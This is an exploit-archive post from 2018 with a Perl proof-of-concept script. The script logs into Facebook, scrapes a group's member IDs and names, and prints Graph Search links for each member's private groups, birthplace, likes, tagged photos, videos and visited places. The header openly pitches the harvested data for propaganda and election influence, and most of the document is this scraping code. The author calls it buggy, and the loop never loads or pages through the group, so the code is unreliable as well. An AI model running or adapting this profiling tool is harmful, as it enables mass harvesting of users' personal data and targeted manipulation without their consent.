Facebook Graph Groups Crosswalk User Metadata Mapping Weakness

Author: Todor Donev Published: 2018-04-19 Verified: Verified



#  Facebook (facebug) 'Graph' Groups crosswalk user's 
#  metadata mapping weakness (Demo PoC)
#  2018 Todor Donev <todor.donev at gmail.com>
#  https://ethical-hacker.org/
#  https://facebook.com/ethicalhackerorg
#  Description:
#  Criminal hacker (CRACKER) can take advantage of 
#  this weakness by creating a specialized database 
#  to manipulate the humans (facebook users) with 
#  fake news, misinformation, propaganda or influence 
#  elections.
#  See Also: 
#  https://en.wikipedia.org/wiki/Schema_crosswalk
#  Disclaimer:
#  This or previous programs is for Educational
#  purpose ONLY. Do not use it without permission.
#  The usual disclaimer applies, especially the
#  fact that Todor Donev is not liable for any
#  damages caused by direct or indirect use of the
#  information or functionality provided by these
#  programs. The author or any Internet provider
#  bears NO responsibility for content or misuse
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact
#  that any damage (dataloss, system crash,
#  system compromise, etc.) caused by the use
#  of these programs is not Todor Donev's
#  responsibility.
#  Use them at your own risk!
#  Requirements:
#  cpan install  HTTP::Cookies
#  cpan install  WWW::Mechanize
#  I know that is buggy but is only conceptual tool 
#  which demonstrate exploitation of this weakness.
#  Facebook answer:
#  Hi Todor,
#  Thank you for contacting us. Unfortunately what 
#  you have described is not currently covered by 
#  this program. Please see 
#  https://www.facebook.com/data-abuse/terms/ for 
#  more information about what is currently in scope 
#  of this program. We will follow up with you 
#  regarding any questions we may have. For any other 
#  questions or concerns, please visit our Help Center:
#  https://www.facebook.com/help.
#  Thanks,
#  Amber Serrano
#  Developer Operations
#  Data Abuse Bounty is useless when this door is widely 
#  opened for criminal abusing.
#  Now this weakness is patched..
#  Buggy, Buggy, Buggy.. :)
use strict;
use WWW::Mechanize;
use HTTP::Cookies;
use open ':std', ':encoding(UTF-8)';
my $un   = '';          # facebook login
my $pw   = '';          # facebook password
print "Facebook (facebug) \'Graph\' Groups crosswalk metadata mapping weakness (Demo PoC)\n";
print "[ Website: https://ethical-hacker.org\n";
print "[ Author: Todor Donev <todor.donev at gmail.com>\n";
die "Usage: perl $0 <Group ID>\n" unless (scalar @ARGV)==1;
my $mech = WWW::Mechanize->new();$mech->cookie_jar(HTTP::Cookies->new());
$mech->agent_alias('Linux Mozilla');
$mech->submit_form(form_number => 1,fields =>{email=>$un,pass=>$pw});
die "Error: $! \n" if !$mech->content() =~ /post_form_id\"\svalue=\"(\w+)\"/;
foreach my $gid (@ARGV){
printf "$1 "  if ($mech->content() =~ m/<title>(.*)<\/title>/g);
for (my $j = 0; $j <= 100000; $j += 30){
die   "[ No results found\n[\n[ ==========================\n" if (($mech->content() =~ m{Content Not Found}) or ($mech->content() =~ m{No results found.}));
if (my @profiles = ($mech->content() =~ m/<div><h3><a href="\/(.*?)">(.*?)<\/a><\/h3>/g)){
if (my @userid   = ($mech->content() =~ m/id="member_(.*?)">/g)){
while (@profiles || @userid) {
my $fburl   = shift @profiles;
my $name    = shift @profiles;
my $pid     = shift @userid;
printf "\x1b\x5b0;32m[\x1b\x5b0m User ID: \x1b\x5b0;35m $pid \x1b\x5b0m Name/Profile: \x1b\x5b1;36m $name \x1b\x5b0m \x1b\x5b1;31m=>\x1b\x5b0m https://www.facebook.com/\x1b\x5b0;36m$fburl \x1b\x5b0m\n";
printf "\x1b\x5b0;32m[\x1b\x5b0m Which facebook groups the person joined:\x1b\x5b0;33m https://www.facebook.com/search/$pid/groups \x1b\x5b0m\n";
printf "\x1b\x5b0;32m[\x1b\x5b0m Which private facebook groups the person joined:\x1b\x5b0;33m https://www.facebook.com/search/$pid/groups-privacy \x1b\x5b0m\n";
printf "\x1b\x5b0;32m[\x1b\x5b0m Where the person is bornd:\x1b\x5b0;33m https://www.facebook.com/search/$pid/users-birth-place \x1b\x5b0m\n";
printf "\x1b\x5b0;32m[\x1b\x5b0m Posts that the person commented on:\x1b\x5b0;33m https://www.facebook.com/search/$pid/stories-commented \x1b\x5b0m\n";
printf "\x1b\x5b0;32m[\x1b\x5b0m Posts that the person like:\x1b\x5b0;33m https://www.facebook.com/search/$pid/stories-liked \x1b\x5b0m\n";
printf "\x1b\x5b0;32m[\x1b\x5b0m In which posts is this person tagged:\x1b\x5b0;33m https://www.facebook.com/search/$pid/stories-tagged \x1b\x5b0m\n";
printf "\x1b\x5b0;32m[\x1b\x5b0m Posts by the person:\x1b\x5b0;33m https://www.facebook.com/search/$pid/stories-by \x1b\x5b0m\n";
printf "\x1b\x5b0;32m[\x1b\x5b0m Photos maded by the person:\x1b\x5b0;33m https://www.facebook.com/search/$pid/photos-by \x1b\x5b0m\n";
printf "\x1b\x5b0;32m[\x1b\x5b0m Posts that the person like:\x1b\x5b0;33m https://www.facebook.com/search/$pid/photos-in \x1b\x5b0m\n";
printf "\x1b\x5b0;32m[\x1b\x5b0m Which photos does this person like:\x1b\x5b0;33m https://www.facebook.com/search/$pid/photos-liked \x1b\x5b0m\n";
printf "\x1b\x5b0;32m[\x1b\x5b0m Photos made of this person:\x1b\x5b0;33m https://www.facebook.com/search/$pid/photos-of \x1b\x5b0m\n";
printf "\x1b\x5b0;32m[\x1b\x5b0m In which photos is this person tagged:\x1b\x5b0;33m https://www.facebook.com/search/$pid/photos-tagged \x1b\x5b0m\n";
printf "\x1b\x5b0;32m[\x1b\x5b0m What photos did the person comment on:\x1b\x5b0;33m https://www.facebook.com/search/$pid/photos-commented \x1b\x5b0m\n";
printf "\x1b\x5b0;32m[\x1b\x5b0m What photos did the friends upload:\x1b\x5b0;33m https://www.facebook.com/search/$pid/friends/photos-uploaded \x1b\x5b0m\n";
printf "\x1b\x5b0;32m[\x1b\x5b0m What photos did the friends tagged:\x1b\x5b0;33m https://www.facebook.com/search/$pid/friends/photos-tagged \x1b\x5b0m\n";
printf "\x1b\x5b0;32m[\x1b\x5b0m What photos maded by the person's friends:\x1b\x5b0;33m https://www.facebook.com/search/$pid/friends/photos-of \x1b\x5b0m\n";
printf "\x1b\x5b0;32m[\x1b\x5b0m Photos by the person's friends:\x1b\x5b0;33m https://www.facebook.com/search/$pid/friends/photos-by \x1b\x5b0m\n";
printf "\x1b\x5b0;32m[\x1b\x5b0m Videos made of this person:\x1b\x5b0;33m https://www.facebook.com/search/$pid/videos-of \x1b\x5b0m\n";
printf "\x1b\x5b0;32m[\x1b\x5b0m Videos maded by the person:\x1b\x5b0;33m https://www.facebook.com/search/$pid/videos-by \x1b\x5b0m\n";
printf "\x1b\x5b0;32m[\x1b\x5b0m In which videos is this person:\x1b\x5b0;33m https://www.facebook.com/search/$pid/videos-in \x1b\x5b0m\n";
printf "\x1b\x5b0;32m[\x1b\x5b0m Which videos does this person like:\x1b\x5b0;33m https://www.facebook.com/search/$pid/videos-liked \x1b\x5b0m\n";
printf "\x1b\x5b0;32m[\x1b\x5b0m In which videos is this person tagged:\x1b\x5b0;33m https://www.facebook.com/search/$pid/videos-tagged \x1b\x5b0m\n";
printf "\x1b\x5b0;32m[\x1b\x5b0m What videos did the person comment on:\x1b\x5b0;33m https://www.facebook.com/search/$pid/videos-commented \x1b\x5b0m\n";
printf "\x1b\x5b0;32m[\x1b\x5b0m What videos did the friends upload:\x1b\x5b0;33m https://www.facebook.com/search/$pid/friends/videos-uploaded \x1b\x5b0m\n";
printf "\x1b\x5b0;32m[\x1b\x5b0m All visited places:\x1b\x5b0;33m https://www.facebook.com/search/$pid/places-visited \x1b\x5b0m\n";
printf "\x1b\x5b0;32m[\x1b\x5b0m Which people are following:\x1b\x5b0;33m https://m.facebook.com/subscribe/lists/?id=$pid \x1b\x5b0m\n";
printf "\x1b\x5b0;32m[\x1b\x5b0m \n";